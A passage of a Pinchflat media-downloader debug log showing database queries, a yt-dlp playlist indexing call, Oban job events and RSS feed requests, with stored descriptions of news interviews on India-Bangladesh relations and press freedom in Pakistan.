Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "38eb7912-a76b-45d9-8384-8776e0dccd00", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 22:10:48Z], ~U[2026-01-10 22:10:48Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 22:10:48.853 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=759.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:48.855 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=201.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:48.857 [debug] QUERY OK source="media_items" db=1.0ms idle=199.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 22:10:48.883 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.906 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ef/43/ef43333ca2ca90eecf9a701c7c46139c97da9ad32b56ba1cac86b76a3736f86f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:10:48.907 [debug] Gracefully stopping file follower 22:10:48.911 [debug] QUERY OK source="sources" db=3.2ms queue=0.2ms idle=248.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:10:48.912 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=126.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:48.914 [debug] QUERY OK source="media_items" db=1.3ms idle=59.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 22:10:48.918 [debug] QUERY OK source="media_items" db=2.6ms idle=60.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "0a5057ef-c28b-43fe-aa77-ce4c7b2b15ce", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 22:10:48Z], ~U[2026-01-10 22:10:48Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 22:10:48.921 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=62.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:48.923 [debug] QUERY OK source="media_items" db=1.7ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 22:10:48.928 [debug] QUERY OK source="media_items" db=3.0ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "1d9db31d-ff9c-4b47-9b8d-3cc8dc22dc45", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 22:10:48Z], ~U[2026-01-10 22:10:48Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 22:10:48.959 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=43.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 22:10:48Z], ~U[2026-01-10 22:10:48Z], 1] 22:10:48.977 [debug] QUERY OK source="media_items" db=16.8ms queue=0.1ms idle=42.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:10:49.019 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=96.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:10:49.021 [debug] QUERY OK source="media_items" db=0.6ms idle=97.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:10:49.261 [debug] QUERY OK source="tasks" db=35.8ms queue=0.1ms idle=204.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [99, 1, ~U[2026-01-10 22:10:49Z], ~U[2026-01-10 22:10:49Z]] 22:10:49.284 [info] {"args":{"id":1},"id":98,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13244330,"event":"job:stop","queue_time":363872,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:11:00.190 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:01.059 [info] {"source":"oban","duration":75150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:24.632 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:11:24.633 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:11:24.634 [debug] QUERY OK source="sources" db=0.9ms idle=1675.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:11:24.636 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1676.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:11:24.719 [debug] QUERY OK source="source_metadata" db=15.4ms queue=0.9ms idle=1719.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:11:24.720 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=1543.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:11:24.741 [info] Sent 200 in 108ms 22:11:31.061 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:55.098 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:11:55.099 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:11:55.100 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1141.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:11:55.103 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=1143.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:11:55.105 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1146.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:11:55.106 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.2ms idle=862.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:11:55.107 [info] Sent 200 in 8ms 22:11:59.952 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:12:00.192 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:01.064 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:31.067 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.194 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:01.070 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:31.073 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.196 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:01.075 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:31.077 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.198 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:01.080 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:31.082 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:49.308 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:15:49.308 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: 